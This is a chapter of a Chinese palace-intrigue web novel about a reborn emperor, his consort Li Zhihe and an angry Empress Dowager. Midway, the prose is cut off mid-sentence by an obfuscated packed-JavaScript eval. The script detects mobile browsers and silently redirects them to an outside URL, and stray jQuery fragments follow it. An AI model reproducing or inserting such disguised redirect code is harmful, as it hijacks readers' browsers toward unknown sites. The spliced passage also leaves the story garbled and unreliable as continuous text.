待到那位掌事柳姑姑被拖下去,杖责的声音就在宫殿外响起之时,李芷荷这才有些回过神来,她垂着眼眸不着痕迹地看了一眼身侧的赵瑾行,一时间只觉得他无比陌生。
他竟真的不顾谢太后的面子,直接将这位太后的心腹在众人面前惩戒。
外头的雨还是没有停,赵瑾行没有时间继续在这里待下去了,山洪、旱灾、流民、匈奴犯边……每一件事都等在等着他。
“贵妃这几日好好静心养身,朕还有些要事。”
赵瑾行起身,见到身侧的李芷荷立刻行礼送他,又是觉得心中一涩——若是上辈子,这个时候她定然会恋恋不舍地看着自己。
原本利落迈出的步子不自觉的顿了顿,赵瑾行回身扶起了正在行礼的李芷荷,似是为了掩盖自己的失态,他的神态格外平静。
“待会我再叫人送些补品来,等到你身子好些,便择吉日替你行册封礼。”
又转过头看了眼跟在李芷荷身后侍奉的春穗和夏翠,似是有几分眼熟,应该都是些侍奉她的旧人。却又忽而记起,上辈子那个被他手下之人发现的楼兰遗孤,赵瑾行不由得皱了皱眉,却也不得不松开手咽下了这话。
如今李芷荷对他太过客气,这样的话若是说出口,说不一定对方还以为自己在暗中调查她,让两人的关系更加雪上加霜。
可转身离开的时候,又忍不住看了看外面的天气对着外头的内侍叮嘱道:“这几日连着落雨,去寻一些上等的香料混在银丝炭里,莫叫屋内有了潮气。”
说罢,又安排了几位心腹宫人在静心阁里头侍奉,想着这下倒是放心了些,方才匆匆转身离去。
这几份关切砸下来,要是平常人可早就乱了分寸,可李芷荷依旧尊礼数恭恭敬敬不出半分差错:“妾身恭送陛下。”
赵瑾行离开的脚步又顿了顿,她就这般盼着自己离开吗?可到底还是没有转身,只是离开的身形却颤了颤。
李芷荷并不明白为何这人突然对自己这般示好,却对这人突然惩治了太后的心腹一事依旧有些疑惑。
前世这人可谓是孝顺到了极致,谢太后的母族中人好像涉及了贪墨一案,理应斩首示众,可却只不过将涉案的旁系杀了一些,主犯一事不了了之了。
要知道赵瑾行这人对朝政可谓是殚精竭虑,从不徇私舞弊,能够叫他都松口,想来对于这位谢太后算作孝顺之至了。
因着陛下要给这静心阁里头添置东西,小太监顺子便留在这里,带来的东西都搁置好了,这原本还有几分简陋的屋里头虽说还不算大,可却精致的一等一了。
“娘娘,您瞧瞧,这可都是陛下私库里头取出来的。”前来复命的小顺子脸上挂着笑,躬身的姿态比对自家陛下都谄媚多了,“奴才这可真是给娘娘道喜了。”
道喜?
李芷荷知道他这是想要恭喜自己得宠,却也只是点了点头,叫一旁的春翠递上了银钱。
前世她刚入宫不懂得这里头的规矩,从来灭有打点过下人,先前还因着受宠又是宫里唯一的娘娘不曾听过闲言碎语,可后来被厌弃了,这才从那些人嘴里听到了不少难听的话。
见眼前这奴才也是那位身边的人,李芷荷在心里又默默叹了口气,伴君如伴虎,跟在那位身边也不知道什么时候就要丢了性命。
而且如今又因着自己惩治了太后身边的女官,说不定又要惹出什么事呢。她原本只想安安静静在后宫里待着,可这麻烦事可谓是一件又一件,真不知道什么时候才是个头。
她一边思量着前世的事,一边琢磨着先前赵瑾行说过的替边关筹集粮草之事,若是能够促成此事,说不定前世在匈奴大肆举兵之前,自家父兄手下的将士们便能够少些挨饿受冻了。
因着有几位新的宫人在跟前侍奉,李芷荷也明白这些人日后都会被安排到自己的宫里,便也挨个叫了人过来,原以为会是前世安排的那些,却不成想都是些生面孔。
又挨个叫春穗给了赏赐,听着她们介绍着自己的名字,其中一个却叫李芷荷猛地一愣。
这个人她并不眼熟,可这个名字在日后可谓是如雷贯耳——贾秀衣,前世赵瑾行最宠爱的贾常在,从宫女一夜之间便封了美人,后来更是越级封了常在,几乎除却朝政繁忙之外,一有什么时间便宿在她的宫里。
这样的一个人,竟然在这一世被送到自己宫里?难不成是先让自己替他照看着?李芷荷挑了挑眉,想着前世那个叫自己吃了不少飞醋的常在,暗暗打量了几眼。
果然,同样都是身穿简单素雅的宫女衣裳,即便是头垂的低低的,可依旧看得出肤色雪白,身材也格外纤细。
见贵妃在打量自己,这位还不曾成为常在的贾秀衣似乎有几分羞怯,那双水汪汪的眸子抬起小心地看向李芷荷,格外红润的唇抖了抖:“奴才多谢娘娘赏赐,日后定为娘娘肝脑涂地,誓死效忠!”
刚说完,便立刻又跪在李芷荷面前,咚的一声倒是叫人吓了一跳。
李芷荷被这突如其来的一幕吓了一跳,好在她前世见惯了大场面,此时也只当是对方被吓着了,点了点头便叫对方起来了。
“不必如此拘谨,日后还是有劳你们几位了。”
这位日后的常在,现在看来倒是有几分趣味。
外头的雨还在下着,勤政殿里头来来往往的官员却根本没停过。
先是京郊外头山洪的事又出了一些纰漏,大大小小的那些个官员没人敢再担责任——谁不知道现在那河坝的事情是太后母族所涉猎的,这次山洪即便是提前叫钦天监给算准了,可洪水必然会造成大量的损失。
就不说是受灾的百姓安置一事,就单单这些受损的粮食牲畜以及被洪水冲掉的房屋,恐怕就得是一大笔银子。
到时候若是找不到背锅的,那这些大事小事可不就都落在他们这些出力不讨好的人身上了吗。
毕竟那可是谢太后的母族,当今皇上的血脉至亲的舅舅,谁会没事去触这个霉头啊。
再加上北方的旱灾叫匈奴蠢蠢欲动,若是想要防范,必然得现在就开始准备,到了秋日里牛肥羊美,对方肯定物资准备的充足,到时候开战,吃亏的可是他们赵国。
可这些世家贵族们又深知,要是替边关的大军准备粮草,如今国库不充盈,必然又要冲着他们这些人的私库下手——毕竟皇帝不肯再加收税款,到时候又要冲着他们开口了。
叫他们这些人掏钱去养李家的兵马,那可比用刀子割他们的肉还要痛,怎么可能轻易就松口。名门望族谁家没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488417|185742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有几个立在朝堂之上的,自然要替各自的利益上奏言表。
一来二去的,这雨声再大,也被来来往往的官员的脚步声给盖住了。
勤政殿里头忙得不可开交,但后宫里头的坤宁宫也热闹的紧。
“什么!哀家派去的人竟然被打了!”谢太后冷笑了一声,将面前的杯盏摔在了地上,“好一个贱蹄子!刚入宫这才几日,竟就能够蛊惑的皇上忤逆哀家了!”
下面瑟瑟发抖地跪了一地的宫人,其中一个脸上被碎瓷片给崩到了,可却只敢跪着根本不敢痛呼。
“太后!柳姑姑她被打了二十棍,险些没了命了,可行刑的人还要将她逐出宫去!”
底下跪着的小宫女是柳姑姑一手带大的,这次也跟着一起去了,见到皇帝的銮驾一离开静心阁,便赶忙回来给太后报信。
“这根本就是在打哀家的脸!”
谢太后本还在捏着佛珠,又听到自己的人要被逐出去,再也忍不住,一把丢在桌子上:“来人,传哀家的懿旨,马上把这位李贵妃给我请过来!”
但是底下的小宫女怯懦归怯懦,听到的消息到底都得如实回禀,她一边掉着眼泪一边又将皇上命令不得叫外人打扰贵妃的消息给说了出来。
那串佛珠彻底被扯断了线,谢太后再生气也明白,自己如今靠着的还都得是自己的皇儿,闹得再大也不能越过他去,一时间又气又恼的没有法子。
毕竟常年跟在她身边的人就是这位柳姑姑,说起来大事小情谢太后拿捏不稳的,最后都得是这位的主意,以至于这人不在自己的身边,谢太后都有些不知所措了。
在这个时候,素来默默无闻的一个宫人却从后头走上前跪在了谢太后面前:“回禀太后,现如今最重要的是解除皇上对您的误会啊!”
“误会?”谢太后正在气头上,却被这话给一时间说住了,她皱了皱眉,瞧着眼前这个不起眼的宫人,“你这话,是什么意思?”
“回禀太后,您想啊,那位李贵妃不过一个刚入宫的外人,怎么可能撼动您和皇上的母子情分!”跪在地上的宫人不动声色地避开碎瓷片,恭敬地又磕了个头,“可皇上这么生气惩罚了这位柳姑姑,说不定……”
一旁的小宫女还想要为柳姑姑辩解,却听到座上的太后又开了口:“那你的意思是什么?说下去。”
“奴婢认为皇上既然发落了柳姑姑,说不定是因为对方做了辱没您的事情……”这位宫人似乎是不经意,却又像是早就准备好的一样,“先前好几次都听旁人私下里说,柳姑姑她安排了好几个自家的亲眷到内务府的肥差里头……”
见谢太后神情一变,地上跪着的宫人又忧心说道:“太后,您可还记得,上回宫里不见了好几件珍器……”
这话叫座上的谢太后心头一跳,她颤了颤,心里到底还是有几分怵这个皇儿的,可又咳嗦了一声,却仍是放不下这口气。
“去找几个人把柳彩给安置了,”她皱着眉头看着跪了一地的人,“到了晚膳,再去请皇上来用膳。”
身边没了有用的人,到底是有几分不顺手,谢太后瞧了瞧刚出主意的宫人,随口问道:“你叫什么?”
“奴婢叫卫六。”
“日后你就在哀家身边伺候吧。”